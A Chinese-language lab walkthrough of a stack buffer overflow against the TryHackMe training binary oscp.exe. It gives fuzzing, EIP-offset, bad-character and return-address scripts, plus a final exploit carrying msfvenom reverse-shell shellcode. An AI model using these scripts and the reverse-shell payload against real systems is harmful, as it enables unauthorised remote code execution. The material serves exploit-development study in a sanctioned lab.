史上最详细的Buffer Overflow学习笔记
如果您被標(biāo)題吸引進(jìn)來了,卻發(fā)現(xiàn)我寫的很爛,請不要生氣;
如果您發(fā)現(xiàn)我寫的有誤,歡迎您于評論區(qū)中指教
文章中出現(xiàn)的對于BOF來說相關(guān)的專業(yè)名詞,都可以在最后找到解釋
如果這篇文章能在您學(xué)習(xí)的路上幫助到您,我感到非常榮幸
照片問題因?yàn)閏sdn不接受外鏈,照片不能直接傳上來,所以這里采用截圖的方式,但由于圖中沒什么重要信息,大家就當(dāng)看個(gè)樂呵,如果真想看清楚的圖,看文章末尾
環(huán)境配置
此處演示使用環(huán)境來自于TryHackMe | Buffer Overflow Prep
使用方法參考頁面內(nèi)教程
或者使用此簡易教程(我自己寫的,當(dāng)笑話看一眼就行了,沒接觸過的看不懂,接觸過的不用看)
1.注冊賬號
? 界面右上角
2.下載openvpn配置文件
? 會(huì)讓你選擇成為VIP用他們的kali web版還是使用vpn連接,選擇vpn并下載配置文件,然后拷貝到kali中
3.連接VPN
? 在自己的機(jī)器上使用 sudo openvpn <配置文件名>來連接vpn
4.開啟機(jī)器
? 下滑界面,在Task1中有一個(gè)綠色的start machine,單擊獲得IP地址
5.遠(yuǎn)程桌面連接
? xfreerdp /u:admin /p:password /cert:ignore /v:MACHINE_IP /workarea 使用該指令連接遠(yuǎn)程桌面,進(jìn)入后選擇home
6.管理員身份打開Immunity Debugger
? 桌面上有這個(gè)軟件,右鍵選擇”Run as administrator“
7.打開oscp.exe開始學(xué)習(xí)
? File -> Open 之后選擇在桌面的vunlerable-app文件夾中的oscp文件夾中的oscp.exe文件
操作流程
1.驗(yàn)證內(nèi)存大小。
2.尋找壞字節(jié)
3.尋找返回地址
4.配置poc獲取shell
驗(yàn)證內(nèi)存大小
這一步的目的是試出進(jìn)程的緩沖區(qū)大小以及確定其EIP的具體位置
模糊嘗試
如果此前已經(jīng)知道了內(nèi)存的具體大小,這一步可以省略
此處提供一個(gè)python腳本幫助確定內(nèi)存的模糊大小
python3 fuzzer.py #!/usr/bin/env python3import socket, time, sysip = "windows.box"port = 1337 timeout = 5 prefix = "OVERFLOW10 "string = prefix + "A" * 100while True:try:with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:s.settimeout(timeout)s.connect((ip, port))s.recv(1024)print("Fuzzing with {} bytes".format(len(string) - len(prefix)))s.send(bytes(string, "latin-1"))s.recv(1024)except:print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))sys.exit(0)string += 100 * "A"time.sleep(1)?
此處我們可以看到內(nèi)存的EIP位置的字節(jié),已經(jīng)被我們修改為x41(A)了
驗(yàn)證
驗(yàn)證上一步判斷的內(nèi)存大小
驗(yàn)證內(nèi)存大小
python Crasher.py #!/usr/bin/python import sockettry:print ("\nSending evil buffer...")prefix = "OVERFLOW10 "buffer = prefix + "A" * 600s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)s.connect(("windows.box", 1337))s.send(buffer)s.close()print ("\nDone!")except:print ("\nCould not connect!")就可以發(fā)現(xiàn)EIP又一次的被A填充了,就可以說,這個(gè)六百字節(jié)的填充就驗(yàn)證成功了。
確定具體EIP位置
因?yàn)槲覀冎?#xff0c;使用了六百個(gè)字節(jié)讓對面的進(jìn)程內(nèi)存溢出了,那么可以說,進(jìn)程的實(shí)際內(nèi)存一定小于600個(gè)字節(jié)。所以我們可以使用一串600字節(jié)的有規(guī)律字符串,這樣查看EIP的字符的時(shí)候就可以確定具體的位置了
msf-pattern_create -l 600 or /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 600來獲取一串規(guī)律的字符串
然后更新我們的poc
python controllingEip.py #!/usr/bin/python import sockettry:print ("\nSending evil buffer...")prefix = "OVERFLOW10 "buffer = prefix + "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9"s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)s.connect(("windows.box", 1337))s.send(buffer)s.close()print ("\nDone!")except:print ("\nCould not connect!")?
發(fā)現(xiàn)EIP = 41397241,然后我們把這個(gè)值保存來獲取EIP的位置
msf-pattern_offset -l 600 -q 41397241 or 直接在這個(gè)軟件的下面輸入 !mona findmsp -distance 600用mona就可以看到這樣的字樣EIP contains normal pattern : ... (offset XXXX)
用msf就能看到
?
驗(yàn)證
從上面我們得到了EIP的位置,那么我們需要驗(yàn)證一下上面的到的信息是否準(zhǔn)確
python controlledEip.py #!/usr/bin/python import sockettry:print ("\nSending evil buffer...")prefix = "OVERFLOW10 "filler = "A" * 537eip = "B" * 4buffer = prefix + filler + eips = socket.socket (socket.AF_INET, socket.SOCK_STREAM)s.connect(("windows.box", 1337))s.send(buffer)s.close()print ("\nDone!")except:print ("\nCould not connect!")在上面可以了解到前537是內(nèi)存的大小,從538開始的四個(gè)字節(jié)應(yīng)該是EIP的位置所以我們使用A來填充前537個(gè)字節(jié),用B來填充EIP位置,這樣,如果信息準(zhǔn)確的話,EIP位置應(yīng)該是42424242
?
發(fā)現(xiàn)確實(shí)是42,也就是說我們已經(jīng)得到了EIP的位置
尋找壞字節(jié)
所謂壞字節(jié),就是可以使程序中斷執(zhí)行的字節(jié),由于么一個(gè)程序的壞字節(jié)都可能不一樣,所以每一次我們都需要重新尋找,而x00則一定是壞字節(jié),所以不需要確認(rèn),下面給出一份壞字節(jié)的表
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10""\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20""\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30""\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40""\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50""\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60""\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70""\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80""\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90""\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0""\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0""\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0""\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0""\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0""\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0""\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )到這里我們需要修正我們的poc來驗(yàn)證壞字節(jié)
python badchars.py #!/usr/bin/python import sockettry:print ("\nSending evil buffer...")badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10""\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20""\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30""\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40""\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50""\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60""\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70""\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80""\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90""\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0""\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0""\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0""\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0""\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0""\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0""\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )prefix = "OVERFLOW10 "filler = "A" * 537eip = "B" * 4buffer = prefix + filler + eip + badcharss = socket.socket (socket.AF_INET, socket.SOCK_STREAM)s.connect(("windows.box", 1337))s.send(buffer)s.close()print ("\nDone!")except:print ("\nCould not connect!")?
?
可以看到到這為止,我們驗(yàn)證壞字節(jié)的語句已經(jīng)全部發(fā)送上去了接下來我們需要借助mona的幫助了
mona的使用
首先需要先建立工作目錄
!mona config -set workingfolder c:\Temp !mona bytearray -b "\x00"然后開始尋找壞字節(jié)
?
!mona compare -f C:\Temp\bytearray.bin -a <ESP Address>?
至此,我們成功找到了這個(gè)程序的壞字節(jié)
尋找返回地址
接下來我們找尋的是發(fā)送后我們payload的存放的位置
我們需要繼續(xù)使用mona來找尋一個(gè)沒有內(nèi)存保護(hù)的進(jìn)程
!mona modules?
我們此處使用第一條進(jìn)程來繼續(xù)我們的攻擊
Log data, item 12
Address=0BADF00D
Message= 0x62500000 | 0x62508000 | 0x00008000 | False | False | False | False | False | -1.0- [essfunc.dll] (C:UsersadminDesktopvulnappsoscpessfunc.dll)
尋找jmp Esp在這個(gè)進(jìn)程中的位置
首
先查看jmp esp的編碼
msf-nasm_shell nasm > jmp esp 00000000 FFE4 jmp esp之后尋找jmp esp在進(jìn)程中的位置
!mona find -s "\xff\xe4" -m "essfunc.dll"?
?
Log data, item 11
Address=625011AF
Message= 0x625011af : "xffxe4" | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:UsersadminDesktopvulnappsoscpessfunc.dll)
第一個(gè)就是 0x625011AF
驗(yàn)證
剛剛我們已經(jīng)找到了essfunc.dll中的jmpesp的位置,那么我們把這個(gè)位置傳給EIP做最后的校驗(yàn)
首先定位到0x625011AF
?之后敲擊F2定位地址
之后執(zhí)行一段程序進(jìn)行驗(yàn)證
python returnAddress.py #!/usr/bin/python import sockettry:print ("\nSending evil buffer...")prefix = "OVERFLOW10 "filler = "A" * 537 eip = "\xaf\x11\x50\x62" #0x625011AFbuffer = prefix + filler + eips = socket.socket (socket.AF_INET, socket.SOCK_STREAM)s.connect(("windows.box", 1337))s.send(buffer)s.close()print ("\nDone!")except:print ("\nCould not connect!")?
發(fā)現(xiàn)EIP已經(jīng)成功指向了JMP ESP的地址
配置payload獲取shell
使用msfvenom來制作payload,請按照格式填寫自己的IP地址,監(jiān)聽端口以及壞字節(jié)
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> EXITFUNC=thread -f c –e x86/shikata_ga_nai -b "<BADCHARS>" > shellcode.c打開之后就可以看到編碼的payload
unsigned char buf[] = "\x33\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e" "\x65\x02\xba\x95\x83\xee\xfc\xe2\xf4\x99\xea\x38\x95\x65\x02" "\xda\x1c\x80\x33\x7a\xf1\xee\x52\x8a\x1e\x37\x0e\x31\xc7\x71" "\x89\xc8\xbd\x6a\xb5\xf0\xb3\x54\xfd\x16\xa9\x04\x7e\xb8\xb9" "\x45\xc3\x75\x98\x64\xc5\x58\x67\x37\x55\x31\xc7\x75\x89\xf0" "\xa9\xee\x4e\xab\xed\x86\x4a\xbb\x44\x34\x89\xe3\xb5\x64\xd1" "\x31\xdc\x7d\xe1\x80\xdc\xee\x36\x31\x94\xb3\x33\x45\x39\xa4" "\xcd\xb7\x94\xa2\x3a\x5a\xe0\x93\x01\xc7\x6d\x5e\x7f\x9e\xe0" "\x81\x5a\x31\xcd\x41\x03\x69\xf3\xee\x0e\xf1\x1e\x3d\x1e\xbb" "\x46\xee\x06\x31\x94\xb5\x8b\xfe\xb1\x41\x59\xe1\xf4\x3c\x58" "\xeb\x6a\x85\x5d\xe5\xcf\xee\x10\x51\x18\x38\x6a\x89\xa7\x65" "\x02\xd2\xe2\x16\x30\xe5\xc1\x0d\x4e\xcd\xb3\x62\xfd\x6f\x2d" "\xf5\x03\xba\x95\x4c\xc6\xee\xc5\x0d\x2b\x3a\xfe\x65\xfd\x6f" "\xc5\x35\x52\xea\xd5\x35\x42\xea\xfd\x8f\x0d\x65\x75\x9a\xd7" "\x2d\xff\x60\x6a\x7a\x3d\x65\x6e\xd2\x97\x65\x02\x8f\x1c\x83" "\x68\xaa\xc3\x32\x6a\x23\x30\x11\x63\x45\x40\xe0\xc2\xce\x99" "\x9a\x4c\xb2\xe0\x89\x6a\x4a\x20\xc7\x54\x45\x40\x0d\x61\xd7" "\xf1\x65\x8b\x59\xc2\x32\x55\x8b\x63\x0f\x10\xe3\xc3\x87\xff" "\xdc\x52\x21\x26\x86\x94\x64\x8f\xfe\xb1\x75\xc4\xba\xd1\x31" "\x52\xec\xc3\x33\x44\xec\xdb\x33\x54\xe9\xc3\x0d\x7b\x76\xaa" "\xe3\xfd\x6f\x1c\x85\x4c\xec\xd3\x9a\x32\xd2\x9d\xe2\x1f\xda" "\x6a\xb0\xb9\x5a\x88\x4f\x08\xd2\x33\xf0\xbf\x27\x6a\xb0\x3e" "\xbc\xe9\x6f\x82\x41\x75\x10\x07\x01\xd2\x76\x70\xd5\xff\x65" "\x51\x45\x40";然后我們可以制作最終的poc了,然后添加一些NOPs,因?yàn)橐粋€(gè)編譯器生成payload的時(shí)候需要一些內(nèi)存,所以我們可以用No Operation(x90)去為解編譯占位,這個(gè)至少需要16個(gè)字節(jié)。這里我加了三十二個(gè)
之后打開nc,運(yùn)行poc我們就能獲得一份shell了
python payload.py #!/usr/bin/python import sockettry:print ("\nSending evil buffer...")payload = ("\x33\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e""\x65\x02\xba\x95\x83\xee\xfc\xe2\xf4\x99\xea\x38\x95\x65\x02""\xda\x1c\x80\x33\x7a\xf1\xee\x52\x8a\x1e\x37\x0e\x31\xc7\x71""\x89\xc8\xbd\x6a\xb5\xf0\xb3\x54\xfd\x16\xa9\x04\x7e\xb8\xb9""\x45\xc3\x75\x98\x64\xc5\x58\x67\x37\x55\x31\xc7\x75\x89\xf0""\xa9\xee\x4e\xab\xed\x86\x4a\xbb\x44\x34\x89\xe3\xb5\x64\xd1""\x31\xdc\x7d\xe1\x80\xdc\xee\x36\x31\x94\xb3\x33\x45\x39\xa4""\xcd\xb7\x94\xa2\x3a\x5a\xe0\x93\x01\xc7\x6d\x5e\x7f\x9e\xe0""\x81\x5a\x31\xcd\x41\x03\x69\xf3\xee\x0e\xf1\x1e\x3d\x1e\xbb""\x46\xee\x06\x31\x94\xb5\x8b\xfe\xb1\x41\x59\xe1\xf4\x3c\x58""\xeb\x6a\x85\x5d\xe5\xcf\xee\x10\x51\x18\x38\x6a\x89\xa7\x65""\x02\xd2\xe2\x16\x30\xe5\xc1\x0d\x4e\xcd\xb3\x62\xfd\x6f\x2d""\xf5\x03\xba\x95\x4c\xc6\xee\xc5\x0d\x2b\x3a\xfe\x65\xfd\x6f""\xc5\x35\x52\xea\xd5\x35\x42\xea\xfd\x8f\x0d\x65\x75\x9a\xd7""\x2d\xff\x60\x6a\x7a\x3d\x65\x6e\xd2\x97\x65\x02\x8f\x1c\x83""\x68\xaa\xc3\x32\x6a\x23\x30\x11\x63\x45\x40\xe0\xc2\xce\x99""\x9a\x4c\xb2\xe0\x89\x6a\x4a\x20\xc7\x54\x45\x40\x0d\x61\xd7""\xf1\x65\x8b\x59\xc2\x32\x55\x8b\x63\x0f\x10\xe3\xc3\x87\xff""\xdc\x52\x21\x26\x86\x94\x64\x8f\xfe\xb1\x75\xc4\xba\xd1\x31""\x52\xec\xc3\x33\x44\xec\xdb\x33\x54\xe9\xc3\x0d\x7b\x76\xaa""\xe3\xfd\x6f\x1c\x85\x4c\xec\xd3\x9a\x32\xd2\x9d\xe2\x1f\xda""\x6a\xb0\xb9\x5a\x88\x4f\x08\xd2\x33\xf0\xbf\x27\x6a\xb0\x3e""\xbc\xe9\x6f\x82\x41\x75\x10\x07\x01\xd2\x76\x70\xd5\xff\x65""\x51\x45\x40")prefix = "OVERFLOW10 "filler = "A" * 537 eip = "\xaf\x11\x50\x62" * 4 #0x625011AFnop = "\x90" * 32buffer = prefix + filler + eip + nop + payloads = socket.socket (socket.AF_INET, socket.SOCK_STREAM)s.connect(("windows.box", 1337))s.send(buffer)s.close()print ("\nDone!")except:print ("\nCould not connect!")?
綜上,我們獲得了shell
名詞解釋
poc:一段驗(yàn)證的代碼用于驗(yàn)證漏洞的真實(shí)性
payload:有效載荷,指poc或者exp中可以起到破壞作用的代碼,比如說poc中反彈shell的部分
exp:exploit,一般是指別人針對一個(gè)漏洞寫好的全自動(dòng)poc,你只需要自己填個(gè)ip地址,端口啥的就可以利用
這三者的關(guān)系就像是poc是迫擊炮需要手動(dòng)一點(diǎn)一點(diǎn)調(diào)整,exp是自動(dòng)導(dǎo)彈只需要輸入打擊經(jīng)緯度,而payload則是彈頭,用來實(shí)施破壞。
BOF:Buffer OverFlow即內(nèi)存溢出漏洞
msf-pattern_create/offset/msfvenom:經(jīng)offsec官方驗(yàn)證不屬于使用msf工具,故可以在oscp考試中使用。
badchar:壞字節(jié),壞字節(jié)是指一個(gè)可以中斷程序的ascii 字節(jié),這種東西在各個(gè)進(jìn)程中都不盡相同,所以說每一次當(dāng)我們遇到BOF的問題時(shí)都需要測試壞字節(jié)。這個(gè)玩意在執(zhí)行代碼的時(shí)候不會(huì)出現(xiàn)在內(nèi)存中,也就是說加入我們的代碼中存在壞字節(jié),將會(huì)導(dǎo)致代碼被中斷
x和0x:0x指16進(jìn)制,x是ASCII的字符編碼
EIP:指令指針寄存器,存儲(chǔ)著我們cpu要讀取指令的地址,這里涉及到匯編知識,基礎(chǔ)部分會(huì)在大學(xué)課程的操作系統(tǒng)和微機(jī)原理中有詳細(xì)的講解,快速理解可以看一下這個(gè)匯編知識之EIP寄存器 - 狂奔~ - 博客園 (cnblogs.com)
JMP:跳轉(zhuǎn)指令,執(zhí)行JMP指令后會(huì)使EIP跳轉(zhuǎn)到JMP所指定的地址上,如JMP ESP就是使EIP跳轉(zhuǎn)到ESP上
ESP:擴(kuò)展棧指針寄存器,用于存放函數(shù)棧頂指針(下一個(gè)壓入棧的活動(dòng)記錄的頂部)。當(dāng)JMP 到ESP后我們之后的payload就會(huì)被壓入內(nèi)存棧等待被EIP調(diào)用。
NOPS:占位符,因?yàn)橐粋€(gè)編譯器生成payload的時(shí)候需要一些內(nèi)存,所以我們可以用No Operation(x90)去為解編譯占位。
socket網(wǎng)絡(luò)編程:此處請關(guān)注我之后會(huì)寫的另一篇關(guān)于socket編程基礎(chǔ)的文章。
mona和Immunity Debugger:這個(gè)兩個(gè)軟件其他功能的具體使用請參考網(wǎng)上的其他文章,我也是第一次接觸,之后在進(jìn)一步學(xué)習(xí)匯編的時(shí)候應(yīng)該會(huì)寫文章
感謝
本教程核心內(nèi)容翻譯至Remote Buffer Overflow - 4PFSEC,非常感謝這位作者這篇教程的幫助
不知道為什么中文站全網(wǎng)找不到一個(gè)關(guān)于badchar的說明,感謝這位作者的關(guān)于壞字節(jié)部分的幫助Buffer Overflow - From fuzzing to l00t :: — uf0 (matteomalvica.com)
esp相關(guān)說明來源于百度百科esp(匯編語言關(guān)鍵詞)_百度百科 (baidu.com)
再進(jìn)一步學(xué)習(xí)EIP的時(shí)候拜讀了這篇文章匯編知識之EIP寄存器 - 狂奔~ - 博客園 (cnblogs.com)
介紹了關(guān)于子u編碼的內(nèi)容x 和 0x 的區(qū)別 - Love流浪的豬 - 博客園 (cnblogs.com)
感謝我自己),這篇文章轉(zhuǎn)載于我自己的博客,地址暫不公開,咱隨緣。
如有侵權(quán),請立刻聯(lián)系刪除
總結(jié)
以上是生活随笔為你收集整理的史上最详细的Buffer Overflow学习笔记的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 使用OpenCV检测和追踪车辆
- 下一篇: Dz插件编写流程1